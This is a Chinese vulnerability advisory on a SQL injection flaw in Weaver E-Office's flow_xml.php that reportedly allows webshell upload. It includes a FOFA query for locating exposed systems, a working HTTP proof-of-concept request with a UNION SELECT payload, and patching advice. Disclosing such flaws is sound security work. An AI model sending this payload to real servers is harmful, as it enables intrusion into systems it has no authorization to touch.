

泛微OA E-Office协同办公系统flow_xml.php存在SQL注入漏洞预警

漏洞描述

泛微OA E-Office flow_xml.php文件存在SQL注入漏洞，攻击者通过漏洞可以写入Webshell文件获取服务器权限。

影响范围

泛微OA E-Office

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	[已公开]	[已公开]	[已知]

风险等级

维度	评价
威胁等级	【高危】
影响面	【广】
攻击者价值	【中】
利用难度	【低】

漏洞复现

FOFA：app="泛微-EOffice"

POC/EXP：

GET /general/system/workflow/flow_type/flow_xml.php?SORT_ID=1%20union%20select%201,(md5(1)),3,4,5,6,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 HTTP/1.1

Host: 127.0.0.1:81

Cache-Control: max-age=0

DNT: 1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/120.0.0.0 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

修复方案

- 1、请及时关注更新厂商发布的漏洞修复程序。
- 2、通过防火墙等安全设备设置访问策略，设置白名单访问。